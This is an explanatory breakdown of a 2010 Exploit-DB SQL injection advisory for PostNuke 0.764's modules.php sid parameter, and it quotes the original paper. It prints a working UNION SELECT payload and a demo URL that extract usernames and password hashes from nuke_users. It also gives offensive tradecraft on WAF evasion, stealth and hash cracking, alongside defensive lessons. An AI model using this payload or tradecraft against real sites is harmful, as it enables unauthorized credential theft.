Exploiting PostNuke's modload Module for SQL Injection

What this paper is

This paper details a SQL injection vulnerability found in version 0.764 of the PostNuke Content Management System (CMS). Specifically, it targets the modload operation within the modules.php script, allowing an attacker to extract user credentials (username and password) from the nuke_users table.

Simple technical breakdown

The vulnerability lies in how the PostNuke script handles user input for the sid parameter. When the op parameter is set to modload, the script uses the sid value to fetch data, likely for displaying an article. However, it doesn't properly sanitize this input.

An attacker can craft a malicious sid value that includes SQL commands. By using UNION SELECT, the attacker can combine their own query with the original query. The goal is to inject a query that selects the username and password from the nuke_users table and displays them as part of the output.

The concat(pn_uname,0x3a,pn_pass) part is crucial. It tells the database to combine the pn_uname (username) and pn_pass (password) fields, separated by a colon (0x3a is the hexadecimal representation of a colon), into a single string.

The -- at the end is a SQL comment, which effectively nullifies any remaining part of the original SQL query, preventing syntax errors and ensuring only the injected query is executed.

Complete code and payload walkthrough

The paper doesn't contain executable code in the traditional sense (like a C program or Python script). Instead, it provides a URL with a crafted payload that exploits a web application. The "code" is the malicious string appended to the URL.

Vulnerable File Path:
modules.php?op=modload&name=News&file=article&sid=[ SQL ]

This indicates that the vulnerability is triggered when modules.php is accessed with specific parameters:

• op=modload: This likely tells the script to load a module.
• name=News: Specifies the module to load, in this case, the "News" module.
• file=article: Further specifies the file within the module to execute, here "article".
• sid=[ SQL ]: This is the vulnerable parameter. The script expects a numerical ID, but it's susceptible to SQL injection if non-numeric characters are present and not properly escaped.

Exploit Payload (XpL):
1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(pn_uname,0x3a,pn_pass),16,17,18,19,20,21+from+nuke_users--

Let's break down this payload:

• 1+and+0: This part is a common technique to manipulate the original query. The + signs are URL-encoded spaces. 1+and+0 evaluates to FALSE. This is often used to ensure the original WHERE clause (if any) fails, allowing the UNION SELECT to take effect without interference from the original data.
• union+select: This is the core of the SQL injection. It combines the results of two SELECT statements. The first SELECT is implicitly the original query that the application would have executed. The second SELECT is the one we've crafted.
• 1,2,3,4,5,6,7,8,9,10,11,12,13,14,: These are placeholder values. The number of columns in the UNION SELECT statement must match the number of columns in the original query that modules.php would have executed. The attacker is guessing or enumerating the number of columns. In this case, the attacker assumes the original query returns at least 21 columns. These numbers will be displayed in the output if they correspond to columns not being overwritten by the injected data.
• concat(pn_uname,0x3a,pn_pass): This is the critical part that extracts the sensitive data.
  • concat(): A SQL function that joins multiple strings together.
  • pn_uname: The column name for the username in the nuke_users table.
  • 0x3a: This is the hexadecimal representation of the ASCII character :. It acts as a delimiter between the username and password.
  • pn_pass: The column name for the password in the nuke_users table.
  • Purpose: This function will create a string like username:password.
• 16,17,18,19,20,21: More placeholder values for the remaining columns.
• +from+nuke_users: This specifies the table from which to retrieve the data. nuke_users is the table containing user credentials in PostNuke.
• --: This is a SQL comment. It tells the database to ignore any characters that follow it in the query. This is essential to comment out the rest of the original SQL query, preventing syntax errors and ensuring that only the injected UNION SELECT statement is executed.

Mapping list:

• modules.php?op=modload&name=News&file=article&sid= -> Vulnerable script and parameters.
• 1+and+0 -> Manipulates the original query to ensure the UNION SELECT is effective.
• union+select -> Combines the attacker's query with the original query.
• 1,2,3,...14 -> Placeholder values for columns in the UNION SELECT.
• concat(pn_uname,0x3a,pn_pass) -> Extracts and formats username and password.
• 16,17,...21 -> Placeholder values for remaining columns.
• from+nuke_users -> Specifies the target table for credential extraction.
• -- -> Comments out the remainder of the original SQL query.

Practical details for offensive operations teams

• Required Access Level: Unauthenticated access to the target web application.
• Lab Preconditions:
  • A vulnerable instance of PostNuke 0.764 (or a similarly vulnerable version) running on a web server.
  • A database backend (e.g., MySQL) accessible by the web application.
  • At least one user account created in the nuke_users table.
  • The modules.php script must be accessible and configured to process op=modload.
• Tooling Assumptions:
  • A web browser for manual testing or reconnaissance.
  • A web proxy (e.g., Burp Suite, OWASP ZAP) to intercept and modify requests.
  • An automated SQL injection tool (e.g., sqlmap) can be configured to exploit this specific vulnerability by providing the correct injection strings and target URL structure.
• Execution Pitfalls:
  • Column Count Mismatch: The number of columns in the UNION SELECT must exactly match the number of columns in the original query. If it doesn't, the database will return a syntax error. Enumerating the correct column count is a common first step in SQL injection. The provided payload assumes 21 columns.
  • URL Encoding: Spaces and special characters in the payload must be URL-encoded (e.g., becomes + or %20). The payload uses + for spaces.
  • Database Specific Syntax: While UNION SELECT and concat are common, specific database systems might have slight variations in syntax or function names. This payload is likely for MySQL.
  • WAF/IDS Evasion: Modern Web Application Firewalls (WAFs) and Intrusion Detection Systems (IDS) might detect this pattern. Evasion techniques like character encoding, using different SQL functions, or obfuscating the payload might be necessary.
  • Output Interpretation: The extracted credentials will be embedded within the HTML output of the web page. An operator needs to parse this output to find the username:password string.
  • No Shellcode: This exploit does not directly provide shell access. It's an information disclosure vulnerability. Further steps would be needed to gain code execution if desired (e.g., if the password can be used to log in to an administrative interface that has other vulnerabilities).
• Tradecraft Considerations:
  • Reconnaissance: Identify the PostNuke version and check if modules.php is accessible. Look for common PostNuke module names and file structures.
  • Enumeration: If the column count is unknown, use a tool or manual methods to determine it. Start with a simple UNION SELECT NULL, NULL, ... and increment the NULLs until the query succeeds.
  • Data Extraction: Once the column count is known, inject the concat statement into the appropriate column position.
  • Credential Hashing: Note that pn_pass might be a hashed password, not plain text. The operator would then need to crack the hash.
  • Stealth: Avoid excessive requests that could trigger WAFs or log excessive errors.

Where this was used and when

• Context: This vulnerability was published in April 2010. It targets PostNuke, a CMS popular in the early to mid-2000s.
• Usage: Exploits like this were commonly used by attackers to gain unauthorized access to websites running vulnerable versions of CMS platforms. The primary goal was often credential theft for further compromise, spamming, or defacement.
• Approximate Years: The vulnerability likely existed and was exploited in the years leading up to its publication in 2010. PostNuke itself was active from the late 1990s through the 2000s.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially data used in database queries, must be rigorously validated and sanitized. Use parameterized queries (prepared statements) to prevent SQL injection entirely.
• Principle of Least Privilege: Ensure the database user account used by the web application has only the necessary permissions. It should not have privileges to access sensitive tables like user credentials if not absolutely required for its function.
• Regular Patching and Updates: Keep CMS platforms and all plugins/modules up-to-date. Vendors release patches to fix known vulnerabilities like this.
• Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block common SQL injection attempts. However, they should be used in conjunction with secure coding practices, not as a replacement.
• Security Audits and Code Reviews: Regularly audit web application code for common vulnerabilities like SQL injection, XSS, and insecure direct object references.
• Database Schema Awareness: Understand your database schema. Knowing table and column names can help in both offensive and defensive scenarios. For defense, it helps in securing specific sensitive columns.
• Logging and Monitoring: Implement robust logging for web server and database activity. Monitor for suspicious query patterns or error messages that might indicate an attempted or successful SQL injection.

ASCII visual (if applicable)

This vulnerability is a direct interaction between a web client and a web server/database. An ASCII diagram can illustrate the flow of the malicious request.

+-----------------+       +-----------------+       +-----------------+
| Attacker's      | ----> | Web Server      | ----> | Database Server |
| Browser/Tool    |       | (PostNuke App)  |       | (MySQL)         |
+-----------------+       +-----------------+       +-----------------+
        |                       |                       |
        | 1. Malicious URL      | 2. Receives Request   | 3. Executes Query
        |    (e.g.,            |    (modules.php?...)  |    (Vulnerable
        |     ...sid=1+and+0...) |                       |     SQL)
        |                       |                       |
        |                       | 4. Returns Data       | 5. Returns Results
        |                       |    (including         |    (User Credentials)
        |                       |     extracted creds)  |
        |                       |                       |
        +-----------------------+-----------------------+
                                |
                                | 6. Displays Output
                                |    to Attacker
                                V
                          (Attacker sees
                           username:password)

Source references

• Paper ID: 12410
• Paper Title: PostNuke 0.764 Module modload - SQL Injection
• Author: BILGE_KAGAN
• Published: 2010-04-26
• Keywords: PHP, webapps
• Paper URL: https://www.exploit-db.com/papers/12410
• Raw URL: https://www.exploit-db.com/raw/12410

Original Exploit-DB Content (Verbatim)

PostNuke 0.764 Module modload SQL Injection Vulnerability

###########################  
      
Author    : BILGE_KAGAN
   
Homepage  : http://www.1923turk.com   
      
Script    : postnuke http://www.postnuke.com 
  
Download  : http://www.postnuke.com/module-Content-view-pid-2.html  
      
###########################    
        
[ Vulnerable File ]
  
    
modules.php?op=modload&name=News&file=article&sid=[ SQL ]  
         
    
[ XpL ] 
 
      
1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(pn_uname,0x3a,pn_pass),16,17,18,19,20,21+from+nuke_users-- 
  
[ Demo] 
 
  
http://[site]/modules.php?op=modload&name=News&file=article&sid=1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(pn_uname,0x3a,pn_pass),16,17,18,19,20,21+from+nuke_users--